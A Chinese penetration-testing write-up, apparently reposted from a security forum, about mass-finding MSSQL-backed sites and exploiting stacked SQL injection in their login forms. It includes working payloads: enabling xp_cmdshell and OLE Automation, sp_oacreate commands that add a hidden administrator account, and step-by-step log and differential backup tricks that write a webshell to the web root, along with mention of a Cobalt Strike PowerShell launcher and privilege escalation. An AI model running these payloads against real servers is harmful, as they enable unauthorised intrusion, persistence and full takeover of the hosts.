文章来源:奇安信攻防社区([email protected])
原文地址:https://forum.butian.net/share/517
0x01 前言
0x02 堆叠注入
因为在sql查询语句中, 分号“;”代表查询语句的结束,所以在执行sql语句结尾分号的后面,再加一条sql语句,就造成了堆叠注入。
这种情况很像联合查询,他们的区别就在于联合查询执行的语句是有限的,只能用来执行查询语句,而堆叠注入可以执行任意语句。
菜鸡不会审计php代码,这里就不贴sql语句的源码了。
0x03 渗透过程
先fofa批量找一下目标
前台的页面,首先怼一波弱口令
其实有几个是可以弱口令直接进后台的,但是后台没有任何的getshell点
那就只能在后台的登录窗口试一试有没有注入了,抓包测试一下
发现有注入点,直接上sqlmap一把梭,直接出了mssql 数据库,而且是堆叠注入。
这里想直接 --os-shell,想起来堆叠注入后面的语句是没有回显的,再换个思路。
ping 下 dnslog 看看是否可以直接执行命令,看来是可以执行命令的
再换个思路,尝试用xp_cmdshell,手工打开xp_cmdshell ,发现函数没有被禁用 ,可以执行命令
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
尝试直接注入cs的powershell上线,好家伙,直接上线 ,看来函数没有被禁用
EXEC master..xp_cmdshell’免杀powershell命令’
甜土豆提权到system
连xp_cmdshell命令都没有禁用,想来也不会有什么杀软。
首先看了一下进程,emmm 那么多powershell进程......没有啥玩的必要了。可以尝试溯源一波,下篇文章发。
也没有内网,收工。
0x03 总结
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
执行系统命令,注意没有回显,下面的命令添加一个影子用户并加入管理员组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ [email protected] /add';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators [email protected]$ /add';
前提条件:
数据库存在注入
用户具有读写权限,一般至少DBO权限
有网站的具体路径
站库不分离
1.修改数据库为还原模式(恢复模式):
;alter database 库名 set RECOVERY FULL –-
2.建表和字段
;create table orange(a image)--
3.备份数据库
;backup log 数据库名 to disk = ‘c:\www\0[email protected]’ with init –
4.往表中写入一句话
;insert into orange(a) values (0x...)-- //值要进行hex进制转换下
5.利用log备份到web的物理路径
;backup log 数据库名 to disk = 'c:\www\[email protected]' with init--
6.删除表
;Drop table orange--
用人话说就是:第二次备份的时候,与上一次完全备份的时候作对比,把不同的内容备份下来,所以只要插入我们的一句话木马,再备份一下,一句话就会被写到数据库中。
有网站具体路径
有可写权限(dbo权限以上)
站库不分离
1.备份数据库
;backup database 数据库名 to disk = 'C:\www\\...' with init --
2.创建表格
%';create table orange(a image) --
3.写入webshell
%';insert into orange(a) values (0xxxxx) --
4.进行差异备份
%';backup log 数据库名 to disk = 'C:\www\orange.asp' WITH DIFFERENTIAL,FORMAT;--
5.删除表
;Drop table orange--
这些都是理论,实战中可能被各种过滤,还需要修改payload进行具体绕过。
ps:第一次发文章,有啥不对的师傅们可以指出来,一起学习(求轻喷)
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读